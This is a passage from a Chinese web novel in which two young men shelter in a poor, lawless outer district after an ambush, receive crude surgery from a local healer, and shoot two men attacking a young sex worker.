你俩这个时候竟然还吵架,哦,还是吵睡不睡的问题,到底重点在哪?我这个底层人一点地位都没有了吗!睡不睡都在我面前堂而皇之地说出来。 表哥你也不正常,口出黄言惹人发火明明是莱昂的活! “表哥,别吵了,温绒那边……” 李·底层人·奥很怂地提醒。 莱昂恢复镇定,抬手挥开周谢,“睡过跟没睡过的关系始终不一样。” 那裂开的感觉降临到周谢身上。 李奥:“……” 李奥:好大的瓜! 空气静默两秒,周谢攥紧拳头,从牙缝里冒出声音:“你去收拾东西,我联络医生跟保镖,半小时后出发。”- 倾盆大雨占据这个深夜,地面软滑,黑暗中苟行的两人步伐越来越沉重。 不知道走了多久,他们终于可以借着微光看清彼此的脸,忍不住发出“前面有镇子”的声音。 是保镖。 时野没有立刻回答他,而是偏头,下巴触碰到垂落的手臂。 雨里带着风,仅仅一件外套无法把温绒的身体全部挡住,纤细的小臂被雨刮得僵硬冰冷。 “你帮我看看温绒的状况怎么样。” “太暗了,看不清。” “我感觉不到他的呼吸了。” 保镖一惊,连忙伸手放到温绒的脖子上。 咚—— 咚—— 咚—— 保镖的手受了伤,在雨里一只冻着,指尖麻木,难以分辨那是自己的心跳还是温绒的心跳。 直到脖子上的热量融化指尖,才终于松了口气,“还有心跳。” 时野看一眼远处,“速度加快。他的伤口必须尽快处理。” 因为有着希望,两人的步子相比之前更快一些,而花了将近半个小时走近,看清挂满五彩霓虹灯的街道,泛黄的裸/体广告牌时,时野愣了下,看向保镖。 保镖满脸欣喜:“这个红/灯/区距离福利院很近,开车半个小时就能到。” “外城区为什么会有红/灯/区?” 然而时野根本没办法产生目的地近在咫尺的喜悦,这里出现红/灯/区已经完全震慑了他。 联邦禁止□□,在这方面抓得极严,外城区虽然不能随便进入内城区,但不代表外城区在联邦的法律管辖之外。 保镖立刻明白了时野的意思,解释道,“这是个灰色地带,联邦对外城区的管理有限,这边早就有一些根深蒂固的组织,他们有自己的赚钱方式。” “……” “温绒的伤口很深,当务之急是先找间屋子把他放下来处理伤口。” “如果红/灯/区专门有人经营,那山坡上下来的人跟红/灯/区的人有没有关联?” 话问出来,答案也出来了。 时野犹疑地看一眼远处,“我们兵分两路,我带温绒进去找落脚处,你继续赶路去福利院,那边有周谢安排的警察,你到了后立马通知他们来这里接我跟温绒。” 保镖想了想,点头。 两人就此分开,时野背着温绒从暗处进入这片灯红酒绿的淫靡场合。 正在营业的街道,空气中弥散着生了锈的铁味,雨水噼里啪啦击打褪去色彩的裸/体广告图。 每个店面都是砖瓦搭起来的小房子,没多少灯,隐隐约约只能看见里面坐着几个女人,吊带裙,披头发,弓背坐在椅子上抽烟,嬉笑着聊天。 雨天生意不好,仅有几间屋子里出现身材走样的中年男人。 时野找到一间藏在角落的屋子,只有一个年纪不大的女孩,店门口没什么味道。 进门时,女孩似乎对他跟温绒这样淋雨的行为并不在意,看都不看,就拉一下手边的塑料链子。 滋啦滋啦,身后的卷帘缓慢落下。 它甚至不能称之为帘,只是一块脏兮兮,两边向内缩的布。 “10块钱10分钟,醉酒的加5块,你俩谁先来。” 时野愣了下,反应第一次如此缓慢,慢到女孩背过身弯腰,准备把裙子掀起来时才慌忙别开脸。 “我们不做这个,我们需要个睡觉的地方。” 女孩这才回头打量时野。 空洞的眼睛瞬息发生变化,“你们是内城区来的?” 不仅那辆车,打扮也格格不入。 时野在思考是否要承认。 “你们……”女孩瞬间谨慎冲到柜子边,拔出一把菜刀,“我这里有警报器,摁一下所有人都会知道,你们别乱来。” 时野刚想解释,耳边隐隐吹过一阵暖风。 “我们……” 时野惊喜,“温绒?” 温绒勉强将下巴支在时野肩膀上,“妹妹,我们只是想住一晚,你要多少钱,都可以给你。” “你是温绒?!” 温绒用嗓子艰难哼了声“嗯”。 女孩身上的警惕瞬间少了大半,大概温绒作为外城区进入内城区的名人,在这边口碑甚好。 “你、你好。”女孩尴尬地打着招呼,又紧张地说 “住一晚上100……不,1000。你们内城区的有钱,付得起吧。” 时野:“这边可以移动转账吗?” 女孩收了刀,“外城区都是转账交易的。” “我给你一万,你再帮忙找个医生。” “噗嗤。” 女孩嗤笑,“外城区哪里有医生。” 时野:“一个都没有吗?” 女孩:“你真的会给我一万块钱?” “嗯。” “我认识个人,可以叫她过来。但你也得再给她一万。” 两万块对时野来说不是大数字,倒也不在意,现在只要能把温绒的伤口处理了就行。 “可以,不过我们在这里的事不要告诉第三个人,否则每个人都跟你一样要钱,那就只能你们几个人一起分两万块了。” “嗯嗯。” 一万块! 女孩沉浸在天降横财的喜悦中,火速拉开身后的帘子,“你们就睡这儿,我去叫她来。” 帘子后面仅仅是一米宽的地铺,粉色大花床单,蜷成一团的被子,枕头是一块布,下面摆放两三件叠起来的衣服。 可以想象,女孩的吃住都在这间不足十平米的砖瓦房里。 他和温绒浑身都湿透了,要是把床也弄湿,不知道对方要什么时候才能换新的床褥。 况且那是女孩子的床。 时野偏头看温绒,眼神询问。 温绒轻微的点一下脑袋。 时野得到许可,询问:“医生住得远吗?” “不远,走过去十分钟。” “那你现在带我跟他过去。” “我还要工作……”女孩看一眼卷帘,“算了算了,大雨天也没有人会来,不如赚你的1万块。” 商定完毕,女孩摸出把伞,带着时野从街道后面走。 伞很小,八根伞骨折了两根,伞面塌陷,遮不到多少雨。 索性十分钟后终于走到女孩说的“医生”家。 距离镇长有些距离,前不着村后不着店,黑暗中,只有三个房间连在一起的屋子亮着灯。 砰砰砰 女孩敲响中间那扇门,木头的,依靠一道挂锁防贼。 门的中间有一扇小门,几秒后小门拉开,露出一张中年女人的脸,以及不耐烦的声音,“快断电了,干不了,要生孩子等明天。” 女孩:“不是的,姨,这里有个一万块!” 中年女人闻言,迅速打开门。 女孩带着时野进门。 时野人高马大,几乎挡了整个门,叫中年女人心里发毛,警惕地拉开门边抽屉。 而时野走过面前,一张惨白惨白的脸与她对上,轻闭的眉目湿透了,眼睫拧成一簇一簇的贴着眼睑,像受损严重快要褪色的瓷娃娃,一触即碎。 女人将抽屉推了回去。 “小春,这是温绒?”中年女人问。 小春“嗯嗯”点头。 “他怎么了?” “这个……”小春看向时野。 时野解释:“来的路上出了车祸,小腹有道很深的伤口需要立即处理。” “快把他放下来,小春,你去那边柜子里把箱子拿过来。” 时野把温绒放到中年女人说的床上,才终于看清温绒的惨状。 雨水打湿他的衬衫,白色全部变为透明,紧紧贴着深凹的锁骨。 布料展平的胸口因为呼吸而缓慢顶起,一点粉色跟血红混在成一团。 时野颤着手掀开衣摆,小腹的伤口已经开始发白,血丝顺着水渍流到床上。 “啊!”小春一下子坐到地上,张大嘴巴,失了语。 “嘘——”中年女人示意小春不要再发出声音,回头来查看温绒的情况,眉头越拧越紧,“这不是撞击出来的伤口,是刀伤。” 时野“嗯”了一声。 幸好车的材质足够坚硬,滚下山后三人都没有受伤。 时野跟保镖一起把温绒拉出来,正想去帮司机,突然听见“砰”地一声,身后倒下一具重物。 不知道什么时候出现的陌生男人趴在地上,后背被击出一个血洞。 随即山上跑下来四个带着砍刀的男人。 保镖迅速摸出枪去处理这四个人,而温绒则来帮他一起救司机。 保镖、司机、车,通通都是周谢安排的,他们谁都没有特地防备,所以司机摸出刀捅向温绒的时候,谁都来不及阻止。 时野给中年女人解释:“我们来的路上遇到了袭击,虽然不知道对方是谁,但你不用害怕,我是联邦军政处时家的继承人,我外公是全联邦唯一的军火供应商,这些人找上门也不敢对你们做什么,如果你们想进内城区,我也可以……” “不用。”中年女人毫不犹豫地拒绝。 “当谁没进过内城区似的,全是裙带关系的破地方跟外城区没什么区别。”她扭头问小春:“小春,你要进内城区吗?” “不不不。”小春连忙摇头,“我才不去。” “你给我们一人一万就行,还要保证我们的安全。” 时野虽然不理解两人为什么如此抗拒进入内城区,不过现在的情况容不得他多想,迅速点头同意女人的要求。 女人:“他要消毒缝针,我没有麻药,等会儿你帮我摁着他。” 又说:“小春,你拿东西来塞住温绒的嘴,他可不能发出动静,要是被镇长的人听到就完了。” 小春懵懵懂懂,“为什么?” “敢在这片动刀的除了镇长还有谁?” “啊!”镇长两个字像鬼一样惊醒小春,刚平复的情绪又乱起来,“不行不行!我们不要钱了。姨,得赶紧把他们交给镇长。” 时野手臂肌肉骤然紧绷,蓄势待发。 中年女人敏锐发觉,连忙伸手捂住小春的嘴,“你刚才没听见他说吗,整个联邦军队都是他家的,镇长算个屁。你要是想,让他给你安排个镇长当当。” “唔——唔——” “冷静了吗?冷静了姨才放开你。” “嗯嗯。” 得到一口新鲜空气的小春用气音说:“姨,别管他们。镇长要是发现我们藏人,会杀了我们的。” 时野刚想说话,中年女人抢先道,“小春,要么你现在就出去,这件事情我一人做事一人担,就是那1万块你应该拿不到了。” “一万……” 小春怯怯地看看中年女人,又看看时野。 “先用毛巾塞进他嘴里,我要帮他处理伤口。” 时野不再纠结小春的态度,迅速拿毛巾塞进温绒嘴里,又摁住温绒的肩膀。 双氧水倒在伤口上,与血产生反应,生出细密的泡泡。 温绒的眼皮猛然睁开,眉间紧拧,漂亮眸子瞬息泡在眼泪里。 时野第一次见到他这样哭,完全是生理上的剧痛引发的本能反应。 “摁住!” 时野不得不死死摁住温绒,又不敢再看他,错开眼问:“附近没有医院吗?” “外城区哪有医院,那都是高价卖假药的地方。这瓶双氧水还都是我一百块钱买的……你慌什么,在这边,女人生孩子都疼不死,他一个大男人还能疼死?” 时野知道特殊情况不能要求太多,但细线扎入温绒的肉里时,被毛巾阻隔的闷哼刺透耳膜,他的心脏重重一跳。 “轻……”时野吞咽唾液,艰难地提要求,“轻一点。” “别浪费时间,等会儿要停电了,用力摁住他,乱动的话我容易缝错地方。” 时野迫不得已继续摁住温绒。 他这个角度正好在温绒的正上方,收回的视线再次落到温绒惨白的脸上。剧痛让每一寸皮肤泛起可怖的红,双眼充血,脖子因为上下牙齿巨大的咬合力而颤抖,血管突兀地拱起皮肤。 没有麻药,只有尖叫能缓解疼痛,而温绒甚至不能使用这样的方式。 时野鼻腔酸痛,感觉到温绒骨头正刺进掌心,几乎要摁不住。 “快了快了。”中年女人焦急地提醒。 “快了,再忍一下。” “马上好。” 每一秒都被无限拉长,马上的马上,陷入死循环,一直无法结束。 不知道过了多久,漂亮眼睛失去焦距,框着一层眼泪,木讷地望着上方。 像个死不瞑目的人。 啪。 四周陷入黑暗。 雨点存在感明显,拍得窗栏直响。 时野再也看不见温绒的脸,黑暗中响起另一声“啪”,中年女人收起钳子。 “好了。” 属于温绒的酷刑结束。 时野身上湿淋淋的,他知道,那不是残留的雨水,是汗。 中年女人:“晚上留意他的状态,发烧了立马叫我。” 外城区电力不足,不管春夏秋冬,每家每户都是要用炉子烧火来满足一日三餐。 时野跟温绒被安置在炉子旁边。 时野用腿枕着温绒的脑袋,让热气烘干他的头发,又帮他脱掉湿衣服挂在炉子上。 黑暗中,触碰的感觉比视线更为真实,凉得可怕。时野满心都是温绒的伤势,生不出任何淫靡的心思,只想用被子把温绒牢牢裹紧,让他舒服一点。 夜里温绒醒了一次。 迷迷糊糊地喊痛,要蜷缩成一团,时野怕他扯到伤口,只能强行摁住他不让他动。 温绒不动了,也不喊了,时野以为他睡下了,没多久,听见抽噎声,才发现他在静悄悄地哭。 顿时心脏一抽,把温绒连着被子抱起来,小声喃喃,“以后死也不让你来这个地方了。” 沉默回答了时野。 断电的外城区像一座死城。 偶然而至的几道惊雷劈天裂地,照出一片断壁残垣。 时野低头埋进温绒脖间,被子里的热气一阵一阵涌出,几乎烘干湿润的眼眶- 小春大清早从医生家离开。 在这边,五千块可以建一栋医生这样的三间房,再买张床,接上水管,以后就可以舒舒服服地做生意了。 天降横财,鞋子踩在泥地上都不觉得心疼,消瘦的身影蹦蹦跳跳地回屋。 刚靠近呢,鞋子突然被流过的血沾上红色。 小春步伐一顿,看见两个光膀子的大哥拖着衣衫不整的女人往远处走。 女人一团乱发挡住了脸,又沾着泥,分不清是谁。 “这是怎么了?”小春就近找个人问。 “还能怎么,昨晚惹他们不高兴了呗。” “哦……” 小春还以为跟温绒有关呢。 她松了口气,正准备回屋,又听到说:“小春,你看到镇长发的通知了吗?要找温绒。没想到温绒竟然来咱们镇了。” 小春慌张一跳,“他知道温绒来镇上了?” “什么?” “没没没没……没……” 雨一直下,不多会儿,地上的血都浸入泥土里瞧不见了,所有人该干什么干什么,仿佛一切都没有发生过。 万一镇长发现了怎么办。 他会杀了我的! 我还有一万块没有花,我还有房子! 小春六神无主地走进屋,脑袋瓜冒出一个新主意:先让温绒打钱,再给镇长举报不就好了! 打定主意,小春胆战心惊地把收钱的机器装进包里,快步跑回医生的住处。 推开门,也没在意其他,迅速把收钱的机器丢到时野面前。 “你你你……打钱。” 时野正捧着碗热腾腾的水,嘴巴呼哈呼哈吹凉。 抬眼望她,一张带着凶相的锋利脸庞让小春生出畏惧。 昨晚天太黑了,她其实并没有看清时野长什么样,现在亮堂堂的,就有些佩服自己昨晚的胆色了。 小春慢慢倒退,犹豫着要不别拿钱了,直接去校长那举报,才能保住一命。 “你需要多少钱?” 温柔的声音突然响起。 小春看过去,见时野把碗递到旁边,温绒就着他的动作低头抿一口水。 他的眼睫毛很长,小春从来没见过这么长的睫毛,跟头发丝似的。 眼睛颜色又很浅,轻轻望过来,有种很温柔的感觉。 “昨晚谢谢你。” 小春心脏砰砰跳两下,脸颊不禁翻起热浪。 长这么大,从来没有哪个男人像这样轻声细语地跟她说话。他看她的眼神,那么温柔。 “她来要钱。” 时野伺候温绒喝完水,捡起转账机器,“奇怪了,这破地方要什么没什么,转账器倒是跟得上时代。” 目前联邦广泛使用的转账机器就是这个,输入指纹连上银行账户,填写密码,就可以进行转账。 转念一想,这应该是联邦管控外城区的方式——不给现金,让这边完全依赖移动支付,小交易不用查,大交易可以迅速明确交易双方,随时还能冻结。 温绒推了推时野,“你多给她转一点吧,我还需要静养一段时间,吃住都要花很钱。” “好。”时野摁下指纹找到自己的账户,刚打出一个“2”,温绒又说:“要不我来输。” 时野:“?” 时野:“你钱很多吗?” 温绒抽了下嘴角,提醒道,“我想给个吉利的数字。” 时野后知后觉,把“2”删除,输入一段暗号。 他跟温绒出了事,周谢那边肯定得到消息,依照李奥的技术,后台应该随时监控他跟温绒的一切。 联邦既然跟管控内城区一样管控外城区的的交易,那账户资料的审核制度应该一样严格——这个转账记录传出去,周谢就能定位到他跟温绒的位置。 “转账成功。”机器发出声音。 小春单手抢过时野手里的转账器,看见多几千块钱,激动得跳起来。 温绒望着她,忍不住问:“你是叫小春吗?今早李医生这样喊你。” “嗯嗯。” “你在这边……工作?” “对啊,怎么了。” “你……你想跟我们回内城区吗?我可以帮你……” 小春的兴致完全被扰乱,不爽地看他一眼,抱着机器走到门边,“我才不。” 温绒愣了下,“为什么?” “内城区也没什么好的,姨去了不也回来了?而且我就会脱了裤子给男人干,听说内城区不许别人干这活。” 温绒瞳孔震慑,想要说点什么,看见小春微驼的后背,竟然什么都说不出口。 咚咚 这时,经历风吹雨打的木门发出两声闷响。 “没在?” “大白天,怎么会没在?” 两把粗厚的嗓子在门外发出声音。 小春浑身一抖,不算灵活的身体当即刹车,掉个头,抱着机器跑到最里间去。 几秒钟后出来,机器已经不见了,脸上显然是开心的表情。 反正她钱都收到了,那两个人被发现就不关她的事啦! 这么愉快的想着,正看见时野扶着温绒起来,扯到了伤口,温顺的眉头皱了下。 “炉子在烧,屋里头应该有人。” “哪个在家?开门。” 咚咚。 小春再次思考之前,下意识做个“快躲进去”的手势,自己跑到门边,“大哥,我是小春,我在李姨这边洗澡。” “嗷,原来是你在啊。” “开门,我们要等李医生回来。” 小春看时野跟温绒还没走到后面去,急得跺脚,“等一下,我穿件衣服。” 敲门声才终于停止。 温绒也终于被搀扶进去躲了起来。 小春等了将近一分钟,才缓缓打开门。 门外两个男人并不陌生,正是早上拖着那个女人里来的光膀子。 现下两人倒都穿上了衣服,只是体型不容小觑,单站在小春面前的这个,浑身肥肉可以将门完全挡住。 怪不得能去给镇长干活呢,能在镇长那边干活的个个都力气大。 其中一个男人上下打量小春,问:“你刚洗澡没有洗头?” 小春心头一紧,“嗯……嗯,这几天下雨,头发湿了不好干。” 这个理由没什么问题,他们这边都不轻易洗头,大雨天洗头不仅不好干,还容易生病。 在医疗匮乏的外城区生病,即使是感冒,都得脱一层皮。 两个男人不再怀疑,大步进门,折腿在炉子边坐下。 小春对两人昨晚打死个女人的事心有余悸,默默坐得远些。 或许她该走了。 她这么想,但两个男人聊起了天,她不敢插嘴。 “镇长要抓那谁……温绒?是不是皮肤特别白的那个?” “对对对,一小白脸儿。” “听说内城区的男人都喜欢他,你说他们是不是脑子有问题,不玩女人去玩男人?” “就是有病。内城区的男人满足不了女人,只能去找男人。连咱们一根毛都比不上。” “等他们断子绝孙,咱们杀进内城区去!” “嚯,还需要等他们断子绝孙?现在老子一个屁都可以把他们崩了。” 两个人聊到兴头,彼此都有些口干,吞咽了唾液,炉子里的也滋啦滋啦飘着火苗。 小春趁这个机会站起来,“大哥,我还要回去干活,我先走了。” “等会儿,你给我们两个倒碗水。” 小春肩膀一抖,艰难地应声,“……好、好的。” “你紧张什么?我们俩还能吃了你?” “没,没……” 小春赶紧伸手去抓水壶,突然,手在半空中被抓住。 男人的手力气极大,抓在她的手腕上跟铁一般,几乎要把她拧断。 “小春,反正回去也是干活,你在这里给我们兄弟俩——” “不要!” 小春想到早上那个被拖走的女人,不由得后背布满冷汗,拼命的挣扎。 “你他妈别给脸不要脸,信不信老子打死你。” “啊——啊啊啊啊。” 小春喉咙发出超出平常的尖叫,她从来没被教过遇到这种事该怎么办,什么连求救都不明白,只能追寻本能地发出嘶吼。 属于人的本能。 她不想死,她不想死! 正在这时,子弹破空,两个男人骤然站直了,难以置信地回头。 嘭—— 嘭—— 两具身体扑通落地,不稍片刻,脑袋周边溢出黑色的液体。 小春举着被抓过的手,跟地上两双瞪大的眼睛对上视线。 “咳咳。”男人瞪着她,肥厚的嘴唇里咳出浓稠的血。 血…… 小春的世界被红色侵袭。 死、了。 咚咚咚 咚咚咚 空气静默,她的心脏在血色中急速跳动。 他们、死、了。 两米之隔,时野扶着温绒站在门边,温绒的手缓慢放下,挡到背后。 “啊啊啊。” 恐惧占据她的大脑,几乎看不见任何东西,只知道这两个男人死了自己一定会死。镇长会杀了她! 小春疯了一样朝外跑,劈裂的嗓子艰难发出尖叫,以及断断续续的“杀、杀、杀……” 第113章 第 113 章 外城区2 “艹!这破地方地怪人也怪, 你明明救了她。” 时野踹一脚地上的肥猪,“不是,你救了她, 还给她那么多钱,她敢恩将仇报?” 温绒虽然有些不解,但还是冷静地提醒时野:“你别站着,快把她拉回来。” 时野喉头一卡,拔腿跑出门去。 专业运动员的速度快,小春还没见到半个人,就被捂嘴勒着脖子捞了回来。 小春更是被吓傻了, 无论温绒跟她说什么她都听不进去,没办法,两人只好把她绑起来, 往嘴里塞布,焦急地等着医生回来。 医生骑小三轮去医院买药了,天黑尽时才回到屋子。 一进门, 闻到浓重的血腥味,还以为温绒伤口崩线, 急匆匆跑进里屋。 “小心。” 温绒提醒,然而还是晚了一步,一身踩到肉上,发觉不对, 迅速开灯。 地上躺着两具肥硕的尸体,小春被绑在椅子上,嘴里塞着布,闷闷地发出声音。 “那个……”温绒尽量温柔,避免医生跟小春一样吓到。 李医生慌张倒退, “你们别别别……杀我。” “你听我解释。” 温绒拉着时野站在距离李医生最远的地方,把事情经过描述一遍。 李医生听完,这才冷静下来。随即她走过去伸手拍拍小春,“没事,别怕。他们是为了救你才杀的人,姨在这里,他们不会杀你的。” 小春望着李医生唔唔地哭个不停,没办法,李医生只好先拉着温绒跟时野到外屋来。 她特地去医院买了消炎药,还有些治疗外伤的药,都是防止温绒伤口恶化的。 温绒一边忍着上药带来的疼痛,一遍真诚道谢,“谢谢你。” “不客气。” 李医生又说:“你别怪小春。穷小孩就是这样,知识没有回馈过他们,他们就抛弃知识,良知没有回馈过他们,他们就抛弃良知,浑浑噩噩,胆小怕事,分不清是非对错,也没有坚定的立场,总之不是什么高尚的人。” 温绒刚准备说自己没有责怪小春,李医生继续说:“你看这个地方,10块钱就可以让女人张开腿,怀了生,生了继续怀,那些人不高兴,打死她们都不算犯罪。” “这里的每个地方都在帮你折磨小春了。” 一字一句淌进耳朵里,箍着心脏,酸痛难忍,呼吸都困难。 温绒下意识看一眼时野,时野也因为这些话沉默着。 不该这样的,他不想现在这样无可奈何的情绪中。 温绒询问:“李医生,为什么你跟她都不想跟我去内城区呢,我可以帮你们办理正规手续。” 风吹进来,头顶的灯泡坠着线摇晃,发出吱呀吱呀的响。 “哈。” 李医生低头笑了声,打破这沉默。 “虽然外城区没办法上网,但我偶尔去医院的时候,也听到过他们讨论你。” 温绒:“他们讨论我吗?” “不是什么好话。道,” “嗯。” 大概跟两个男人讨论的差不多吧,温绒想。 “温绒,你太厉害了,你这样惊人的天赋不是每个人都有的。我、小春,我们都是普通人,从小在这样的地方长大,在内城区里没有关系,没有依靠,更没有学过他们那些社交手段,我们即使强行去到那里,也根本无法融入,只会陷入巨大的落差之中。你能明白吗?” “我……” 温绒咋舌。 在这一刻,恍然明白一直萦绕在心里的感觉是什么。 ——无奈。 林启正学长跟张麟学长有了新的朋友 周总统注定会死。 铁丝网外的一双双眼睛。 都让他感到无奈。 这种无奈,更是一种对命运的妥协。 这种无奈在李医生身上尤其明显。 而顿悟的同时,又感到刺痛。李医生话语间或许没有指责他傲慢,但小春的人生已经沦落至此,她的思维,她的能力,早就被恶劣的环境深深影响。他劝说小春去内城区时,无意间流露出自己都不知道的傲慢,小春一定把他当历史书上说“何不食肉糜”的笨蛋了吧。 “我可以为你们做点什么吗?”温绒忍不住问。 “把两万块结清。” “……” “……” 幽暗的灯光落在温绒脸上,留下一道模糊的影子。 难以聚焦的眸子,首次聚起光点,像是灯泡倒映在水光里。 时野忍不住抬手摁在他肩膀上,拍一拍,沉默地安抚,又给李医生说:“你的转账器给我。” 李医生从抽屉里拿出转账器,递给时野,“多给我五千,因为我特地借了三轮车,等会儿断电后,你们可以骑着去福利院。” 时野动作一顿,李医生好像明白他的想法,又说:“镇长还在抓你们,你们在这边呆太久对我跟小春也不好。” “那两个人……” “交给我吧,作为方圆百里唯一的专业医生,还是有权利弄死两个人的。” 夜里寂静得只剩虫叫,三轮车车头挂着手电筒,灯光微弱,在黑暗中缓慢前行。 这里没有地图,全靠李医生口述的路线走,两人好几次都走错了地方,又绕回来。 车轱辘碾到石子,温绒猝不及防往前一倒。 水抹在脸上,他惊疑地往天,“下雨了?” “下了吗?”时野也问。 温绒后知后觉,伸手摸到时野背上,果然仍是沾了满手的汗。 “时野,休息一下。” 时野紧张问:“怎么了,你伤口疼吗?” 你太累了。 温绒低下头,抵在时野背上,竭力压制住上涌的泪意,“我应该直接叫你回学校的。” 三轮车骤然一停。 时野在黑暗中摸索半天,摸到温绒的下巴,捧起来,“你哭了?” 温绒吸鼻子,还说不出话,嘴巴先被啃了一口,唇上留下两道齿印。 一瞬间,接连两天遇见的危险、疼痛、无奈,都在唇齿间化开。像吃了一颗糖,促进身体合成多巴胺,暂时抚慰压抑的心情。 只是这是短暂的。 时野错开唇,用眉心抵着他的鼻尖,抱歉道,“对不起,明明知道现在不是时候,我还……” 温绒主动吻他,湿热的气息含着声音,抵入唇齿,“没有什么时候比现在更适合。” 时野回应他,汗全部粘在他衣服上,湿哒哒地蹭过皮肤,摩擦的细微响动,像弗罗里曼学院的晨钟,鸽子纷飞,悠闲、轻松的阳光,落在每一个角落。 身体都暖和起来,有种全世界只剩下他们两人依偎存活的错觉。 良久,温绒终于在亲密接触之中找回还未被摧毁过的理智,离开时野,唇上勾着银丝,吊着痒。 正想擦掉,湿热的东西顺着下巴舔到那边,带走这细微的不适。 温绒的眸子在黑暗中越发清明,开始分析,“你是临时跟我上的车,他们根本不知道你在。所以司机,还有山坡上那些人都是冲着我来的。” “……嗯?” “我在外城区没有结仇,应该是哪个内城区的大人物不想让我活着。” “……” “我想查清楚再走。” 时野终于回神,“太危险了。” “你知道为什么警察抓连环杀人犯的时候要找凶手犯的第一起案件吗。” “……” “因为凶手第一次犯案时手法生疏,会不可避免地留下线索。等犯案数量上来,经验越来越丰富,就很难找到突破口。” “……” 时野绝望地发现,温绒跟自己缠缠绵绵过后,可以瞬间转移到工作模式。 这场面,跟睡了后,渣男一句情话不说就要出门有什么区别?! 第二天是个大晴天。 阳光落在“阳阳福利院”的老牌子上,乌黑的字泛着金。 因为只能通过医生的描述找路,两个人绕了一整晚,此时才终于抵达目的地。 温绒被时野搀扶下车,仔细打量小说里他长大的地方。 跟他真正长大的地方完全不一样,但因为这两天的波折,让这个地方在心里的地位变得神圣起来。 温绒张大嘴巴,吸一口空气里的阳光,从舌尖到喉咙,乃至肺部,都热烘烘的。 突然,金色扑上来,全数拥住他的身体。 温绒被扯到伤口,倒吸一口气。 “怎么了?” 靠近眼睛的蓝色,比外城区的天空更明亮。 他张了张嘴,最后无声摇头。 …… 大雨导致山体滑坡,多处大路被堵,莱昂一行人昨晚才到的福利院。 又因为外城区断电,只能休整一夜,准备今早出发。 谁也没想到一大早就看见温绒跟时野狼狈地站在福利院门口。 时野浑身是血,温绒也是,莱昂理所当然地认为时野受了伤,却没想到受伤的会是温绒。 责备的目光瞥一眼远处的时野,时野少见的沉默。 周遭一并出来查看情况的保镖们目光在莱昂跟时野之间回转,想开口,又察觉到其中危险,不敢说话。 “幸好带了医生来,先帮你看看伤口。” 莱昂示意医生带着温绒去处理伤口,扭头跟时野说:“一起跟周谢通个电话。” 福利院出事故后这边已经没有大人,院长办公室、社工休息室、住处全数被家属清走,小孩们的一日三餐都依靠附近居民的施舍,据说,据说有四五个孩子已经将近一周没回来。 莱昂经过一晚上才摸清楚福利院的整体布置,找到院长平时储备的一些鸡蛋、米,包括唯一电话。 接通后,时野毫无隐瞒地把事情描述一遍,提及温绒救下小春时,莱昂才终于看时野一眼。 时野继续说到昨晚两人骑着三轮车回福利院,略过接吻那段,讲温绒的推断和决定。 “温绒的推断和决定没问题,不过你们接下来需要注意安全。我刚得到消息,福利院事故的幸存者抢救无效,我说服家属做了尸检后发现她的嗓子烫伤严重,胃里有木炭残留,极有可能受过威胁。” 电话线生涩地传递着声音。 这间曾经属于校长的办公室陡然阴森起来。 周谢再次开口:“莱昂,你们在福利院等到时野说的保镖了吗?” 莱昂:“没有。” “我没办法判断保镖是否跟司机一样背叛了我,这件事查起来需要时间,在没查出来之前,保镖回来权当叛徒处理。” “好。” “莱昂,我在后备箱里特地放了一只冰袋包装的人参鸡,麻烦加水炖汤给温绒。” 莱昂扯了扯嘴角,“你特地准备的?” “原计划是给受伤的时野补身体,谁知道他活蹦乱跳。” 时野再挨一刀。 啪啪啪啪 乌云不知道什么时候又跑到了福利院的上空,雨点敲着玻璃,让周谢的声音也开始结结巴巴。 或者说,这根能连通外界的电话线,因为雨水冲击,出现了信号不良的问题。 “连不上了。”时野最终把电话挂断。 莱昂:“你确定没受伤吧?” 第三次了! 但时野又不得不吃这个瘪。 他闷闷回应:“伤全在温绒身上。” “那就好,你现在开辆车去军驻地找点人来。” “我——” 莱昂打断他:“你怎么?伤不是在温绒身上吗?” “怎么不是你去。”时野有点小脾气。 “这种时候就别争风吃醋了,只有你叫得动军驻地的人,而且我开车能有你开得快?” 虽然莱昂说得大义凛然,这种危急时刻也确实不适合争风吃醋,但时野就是知道,莱昂故意支开自己。 时野平生第一次吃到“能者多劳”的苦,啃了块面包,带上个保镖前往军驻地。 雨一直下,天地被分成三层,上面乌黑,中间白茫茫,地面泥点飞溅,全是土黄色。 莱昂送走时野,回来正好遇到医生,得知温绒打防感染的针剂后被安置在二楼的小房间休息,走上了二楼。 因为小腹有伤口,温绒睡得极其板正,像一个老僧。 莱昂悄无声息地蹲下,手撑在床边。 漂亮脸蛋无论什么角度都挑不出错处,美好得像画出来、雕刻出来的艺术品。 时野说,小腹上的伤口在没有麻醉的情况下缝合。 真勇敢。 真想…… 莱昂靠近温绒,绵长平稳的吐息扑在脸上,羽毛一样刮着。 想亲亲他。 亲亲他,他会不会醒来? 湛蓝的眼睛闪过一抹纠结,最后下定决心似的,重新回到原位。 等他醒来好了。 如果温绒没有反应,亲起来有什么意思。 莱昂费老大的劲儿才离开房间,正好一群福利院的小孩路过,看见他眼睛立马亮晶晶的。 “大哥哥,还有鸡蛋吗?” “大哥哥,我会背书了,可以吃糖吗?” …… 温绒醒来时天已经黑了。 没到断电时间,福利院里灯光却不多,一楼大院子的电线杆上挂着的电筒,是唯一的光源。 在联邦,福利院依靠政府支持,建筑比在小春那个镇子看到的好些,两层小楼,长长的,像山村里的希望小学。 这边也确实是小学,温绒没走几步,就看见隔壁类似教室的小屋,有一块小黑板,上面只剩下模糊不清的九九乘法表。 或许,这里也是小说里的他第一次接触数学的地方。 温绒心头一动,想要把它补齐,却没找到粉笔。 最终,他无奈扶着楼梯摸索下楼,刚到拐角,听到莱昂学长的声音。 “嗯,这位小朋友背的全对,奖励一个鸡蛋。” “大哥哥我也可以!”小孩的声音。 “你不行,你刚刚已经拿过一个鸡蛋了。” 温绒不禁侧头一笑,余光好巧不巧落到远处电线杆,发现下面坐着个七八岁的小男孩。 小男孩屁股下面的凳子比小腿还短,膝盖顶得高高的,放着本书。 温绒走近,看见书上正教三位数的乘除法。 “怎么不去拿鸡蛋?” 小男孩不抬头,专注地看着书:“小孩子才要鸡蛋。” 温绒被他逗笑,看起来没多大,怎么一副看不起小孩子的样子。 “你也喜欢数学吗?” 小男孩不耐烦地仰头,“你好烦。” 温绒小腹上有伤,没办法蹲下身,就只能用撑着膝盖,勉强跟小男孩平视:“你现在学到哪了?” 小小的嘴巴立马变成一个“o”。 “嗯?” “你你你你……” “你好?”温绒朝他微微一笑。 小男孩迅速站起来,抱着书仰脖望他,“你好高。” 